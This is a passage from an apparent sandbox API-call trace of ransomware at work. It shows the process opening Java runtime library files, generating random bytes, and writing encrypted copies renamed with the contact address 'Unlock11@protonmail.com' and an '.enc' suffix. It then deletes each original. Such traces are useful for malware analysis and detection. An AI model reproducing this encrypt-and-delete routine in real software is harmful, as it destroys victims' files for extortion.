[0130.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0130.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.790] GetLastError () returned 0x0 [0130.791] GetLastError () returned 0x0 [0130.791] GetCurrentThreadId () returned 0x9b0 [0130.791] GetLastError () returned 0x0 [0130.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.792] GetLastError () returned 0x0 [0130.792] GetLastError () returned 0x0 [0130.793] GetCurrentThreadId () returned 0x9b0 [0130.794] GetCurrentThreadId () returned 0x9b0 [0130.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.794] GetCurrentThreadId () returned 0x9b0 [0130.795] GetCurrentThreadId () returned 0x9b0 [0130.795] GetCurrentThreadId () returned 0x9b0 [0130.795] GetCurrentThreadId () returned 0x9b0 [0130.796] GetCurrentThreadId () returned 0x9b0 [0130.797] GetCurrentThreadId () returned 0x9b0 [0130.798] GetCurrentThreadId () returned 0x9b0 [0130.798] GetCurrentThreadId () returned 0x9b0 [0130.799] GetCurrentThreadId () returned 0x9b0 [0130.800] GetCurrentThreadId () returned 0x9b0 [0130.800] GetCurrentThreadId () returned 0x9b0 [0130.800] GetCurrentThreadId () returned 0x9b0 [0130.800] GetCurrentThreadId () returned 0x9b0 [0130.801] GetCurrentThreadId () returned 0x9b0 [0130.803] GetCurrentThreadId () returned 0x9b0 [0130.803] GetCurrentThreadId () returned 0x9b0 [0130.804] GetCurrentThreadId () returned 0x9b0 [0130.805] GetCurrentThreadId () returned 0x9b0 [0130.805] GetCurrentThreadId () returned 0x9b0 [0130.805] GetCurrentThreadId () returned 0x9b0 [0130.805] GetCurrentThreadId () returned 0x9b0 [0130.807] GetCurrentThreadId () returned 0x9b0 [0130.807] GetCurrentThreadId () returned 0x9b0 [0130.808] GetCurrentThreadId () returned 0x9b0 [0130.808] GetCurrentThreadId () returned 0x9b0 [0130.809] GetCurrentThreadId () returned 0x9b0 [0130.810] GetCurrentThreadId () returned 0x9b0 [0130.810] GetCurrentThreadId () returned 0x9b0 [0130.810] GetCurrentThreadId () returned 0x9b0 [0130.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0130.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0130.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.811] GetCurrentThreadId () returned 0x9b0 [0130.812] GetCurrentThreadId () returned 0x9b0 [0130.813] GetCurrentThreadId () returned 0x9b0 [0130.813] GetCurrentThreadId () returned 0x9b0 [0130.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.815] GetCurrentThreadId () returned 0x9b0 [0130.822] GetCurrentThreadId () returned 0x9b0 [0130.823] GetCurrentThreadId () returned 0x9b0 [0130.827] GetCurrentThreadId () returned 0x9b0 [0130.827] GetCurrentThreadId () returned 0x9b0 [0130.828] GetCurrentThreadId () returned 0x9b0 [0130.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.828] GetCurrentThreadId () returned 0x9b0 [0130.829] GetCurrentThreadId () returned 0x9b0 [0130.830] GetCurrentThreadId () returned 0x9b0 [0130.830] GetCurrentThreadId () returned 0x9b0 [0130.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.830] GetCurrentThreadId () returned 0x9b0 [0130.831] GetCurrentThreadId () returned 0x9b0 [0130.832] GetCurrentThreadId () returned 0x9b0 [0130.833] GetCurrentThreadId () returned 0x9b0 [0130.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.834] GetCurrentThreadId () returned 0x9b0 [0130.834] GetCurrentThreadId () returned 0x9b0 [0130.835] GetCurrentThreadId () returned 0x9b0 [0130.835] GetCurrentThreadId () returned 0x9b0 [0130.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.835] GetCurrentThreadId () returned 0x9b0 [0130.837] GetCurrentThreadId () returned 0x9b0 [0130.837] GetCurrentThreadId () returned 0x9b0 [0130.838] GetCurrentThreadId () returned 0x9b0 [0130.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.838] GetCurrentThreadId () returned 0x9b0 [0130.839] GetCurrentThreadId () returned 0x9b0 [0130.839] GetCurrentThreadId () returned 0x9b0 [0130.839] GetCurrentThreadId () returned 0x9b0 [0130.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.840] GetCurrentThreadId () returned 0x9b0 [0130.841] GetCurrentThreadId () returned 0x9b0 [0130.841] GetCurrentThreadId () returned 0x9b0 [0130.886] CloseHandle (hObject=0x3ac) returned 1 [0130.886] CloseHandle (hObject=0x39c) returned 1 [0130.887] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 1 [0130.893] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x9bada4*="dnsns.jar") returned 0x34 [0130.893] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e)) returned 1 [0130.893] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf34 | out: pbBuffer=0x366bf34) returned 1 [0130.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0130.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0130.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0130.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5a78 [0130.894] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.894] GetFileType (hFile=0x39c) returned 0x1 [0130.894] GetFileType (hFile=0x39c) returned 0x1 [0130.894] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.894] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.894] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.895] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.895] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.895] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.895] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.895] GetLastError () returned 0x0 [0130.895] GetCurrentThreadId () returned 0x9b0 [0130.895] GetLastError () returned 0x0 [0130.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6728 | out: hHeap=0x2ad0000) returned 1 [0130.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0130.896] GetLastError () returned 0x0 [0130.896] GetLastError () returned 0x0 [0130.896] GetLastError () returned 0x0 [0130.896] GetLastError () returned 0x0 [0130.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6508 [0130.897] GetLastError () returned 0x0 [0130.897] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.897] GetFileType (hFile=0x3ac) returned 0x1 [0130.897] GetLastError () returned 0x0 [0130.897] GetCurrentThreadId () returned 0x9b0 [0130.898] GetLastError () returned 0x0 [0130.898] GetFileType (hFile=0x3ac) returned 0x1 [0130.898] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.898] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.898] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.898] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.898] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.898] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.898] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.898] GetLastError () returned 0x0 [0130.898] GetCurrentThreadId () returned 0x9b0 [0130.898] GetLastError () returned 0x0 [0130.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6508 | out: hHeap=0x2ad0000) returned 1 [0130.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0130.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0130.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0130.899] GetLastError () returned 0x0 [0130.899] GetLastError () returned 0x0 [0130.899] GetCurrentThreadId () returned 0x9b0 [0130.899] GetLastError () returned 0x0 [0130.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.899] GetLastError () returned 0x0 [0130.899] GetLastError () returned 0x0 [0130.900] GetCurrentThreadId () returned 0x9b0 [0130.900] GetLastError () returned 0x0 [0130.900] GetLastError () returned 0x0 [0130.901] GetLastError () returned 0x0 [0130.901] GetCurrentThreadId () returned 0x9b0 [0130.901] GetLastError () returned 0x0 [0130.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2078) returned 0x381b008 [0130.902] GetCurrentThreadId () returned 0x9b0 [0130.902] GetLastError () returned 0x0 [0130.902] GetLastError () returned 0x0 [0130.902] GetLastError () returned 0x0 [0130.902] GetLastError () returned 0x0 [0130.902] GetCurrentThreadId () returned 0x9b0 [0130.902] GetLastError () returned 0x0 [0130.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0130.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0130.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.903] GetLastError () returned 0x0 [0130.904] GetLastError () returned 0x0 [0130.904] GetCurrentThreadId () returned 0x9b0 [0130.904] GetLastError () returned 0x0 [0130.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381d088 | out: hHeap=0x2ad0000) returned 1 [0130.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fa5c8 [0130.904] GetLastError () returned 0x0 [0130.904] GetLastError () returned 0x0 [0130.904] GetCurrentThreadId () returned 0x9b0 [0130.904] GetLastError () returned 0x0 [0130.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa5c8 | out: hHeap=0x2ad0000) returned 1 [0130.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.905] GetLastError () returned 0x0 [0130.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.905] CloseHandle (hObject=0x3ac) returned 1 [0130.905] GetLastError () returned 0x0 [0130.905] GetCurrentThreadId () returned 0x9b0 [0130.905] GetLastError () returned 0x0 [0130.906] GetLastError () returned 0x0 [0130.906] CloseHandle (hObject=0x39c) returned 1 [0130.906] GetLastError () returned 0x0 [0130.906] GetCurrentThreadId () returned 0x9b0 [0130.906] GetLastError () returned 0x0 [0130.906] GetLastError () returned 0x0 [0130.906] GetLastError () returned 0x0 [0130.906] GetLastError () returned 0x0 [0130.906] GetLastError () returned 0x0 [0130.906] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0130.907] GetLastError () returned 0x0 [0130.908] GetCurrentThreadId () returned 0x9b0 [0130.908] GetLastError () returned 0x0 [0130.908] GetCurrentThreadId () returned 0x9b0 [0130.908] GetLastError () returned 0x0 [0130.908] GetLastError () returned 0x0 [0130.908] GetLastError () returned 0x0 [0130.908] GetLastError () returned 0x0 [0130.908] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x9bada4*="jaccess.jar") returned 0x36 [0130.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.908] GetCurrentThreadId () returned 0x9b0 [0130.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0130.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0130.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0130.909] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0130.909] GetLastError () returned 0x0 [0130.909] GetLastError () returned 0x0 [0130.909] GetLastError () returned 0x0 [0130.909] GetLastError () returned 0x0 [0130.909] GetCurrentThreadId () returned 0x9b0 [0130.909] GetLastError () returned 0x0 [0130.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0130.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5a78 [0130.910] GetCurrentThreadId () returned 0x9b0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.910] GetCurrentThreadId () returned 0x9b0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.910] GetLastError () returned 0x0 [0130.911] GetLastError () returned 0x0 [0130.911] GetCurrentThreadId () returned 0x9b0 [0130.911] GetLastError () returned 0x0 [0130.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5a78 | out: hHeap=0x2ad0000) returned 1 [0130.911] GetLastError () returned 0x0 [0130.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0130.911] GetLastError () returned 0x0 [0130.911] GetLastError () returned 0x0 [0130.911] GetLastError () returned 0x0 [0130.912] GetCurrentThreadId () returned 0x9b0 [0130.912] GetLastError () returned 0x0 [0130.912] GetCurrentThreadId () returned 0x9b0 [0130.912] GetLastError () returned 0x0 [0130.912] GetLastError () returned 0x0 [0130.912] GetLastError () returned 0x0 [0130.912] GetLastError () returned 0x0 [0130.912] GetCurrentThreadId () returned 0x9b0 [0130.912] GetLastError () returned 0x0 [0130.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0130.913] GetLastError () returned 0x0 [0130.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.913] GetCurrentThreadId () returned 0x9b0 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.913] GetLastError () returned 0x0 [0130.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.914] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4)) returned 1 [0130.914] GetLastError () returned 0x0 [0130.914] GetCurrentThreadId () returned 0x9b0 [0130.914] GetLastError () returned 0x0 [0130.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0130.914] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d05c | out: pbBuffer=0x366d05c) returned 1 [0130.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0130.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0130.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0130.915] GetCurrentThreadId () returned 0x9b0 [0130.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5af0 [0130.915] GetLastError () returned 0x0 [0130.915] GetLastError () returned 0x0 [0130.915] GetLastError () returned 0x0 [0130.915] GetLastError () returned 0x0 [0130.915] GetCurrentThreadId () returned 0x9b0 [0130.915] GetLastError () returned 0x0 [0130.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5af0 | out: hHeap=0x2ad0000) returned 1 [0130.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5aa0 [0130.916] GetCurrentThreadId () returned 0x9b0 [0130.916] GetLastError () returned 0x0 [0130.916] GetLastError () returned 0x0 [0130.916] GetLastError () returned 0x0 [0130.916] GetLastError () returned 0x0 [0130.916] GetCurrentThreadId () returned 0x9b0 [0130.916] GetLastError () returned 0x0 [0130.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5aa0 | out: hHeap=0x2ad0000) returned 1 [0130.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6408 [0130.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a37d0 | out: hHeap=0x2ad0000) returned 1 [0130.916] GetLastError () returned 0x0 [0130.917] GetLastError () returned 0x0 [0130.917] GetLastError () returned 0x0 [0130.917] GetLastError () returned 0x0 [0130.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6418 [0130.917] GetLastError () returned 0x0 [0130.917] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.917] GetFileType (hFile=0x39c) returned 0x1 [0130.917] GetLastError () returned 0x0 [0130.918] GetCurrentThreadId () returned 0x9b0 [0130.918] GetLastError () returned 0x0 [0130.918] GetFileType (hFile=0x39c) returned 0x1 [0130.918] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.918] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.918] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.918] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.918] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.918] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.918] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.918] GetLastError () returned 0x0 [0130.918] GetCurrentThreadId () returned 0x9b0 [0130.919] GetLastError () returned 0x0 [0130.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0130.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0130.919] GetLastError () returned 0x0 [0130.919] GetLastError () returned 0x0 [0130.919] GetLastError () returned 0x0 [0130.919] GetLastError () returned 0x0 [0130.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0130.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6578 [0130.919] GetLastError () returned 0x0 [0130.919] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.920] GetFileType (hFile=0x3ac) returned 0x1 [0130.920] GetLastError () returned 0x0 [0130.920] GetCurrentThreadId () returned 0x9b0 [0130.920] GetLastError () returned 0x0 [0130.920] GetFileType (hFile=0x3ac) returned 0x1 [0130.920] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.920] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.920] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.921] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.921] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.921] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.921] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.921] GetLastError () returned 0x0 [0130.921] GetCurrentThreadId () returned 0x9b0 [0130.921] GetLastError () returned 0x0 [0130.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0130.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0130.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0130.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0130.921] GetLastError () returned 0x0 [0130.922] GetLastError () returned 0x0 [0130.922] GetCurrentThreadId () returned 0x9b0 [0130.922] GetLastError () returned 0x0 [0130.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.922] GetLastError () returned 0x0 [0130.922] GetLastError () returned 0x0 [0130.922] GetCurrentThreadId () returned 0x9b0 [0130.922] GetLastError () returned 0x0 [0130.922] GetLastError () returned 0x0 [0130.924] GetLastError () returned 0x0 [0130.924] 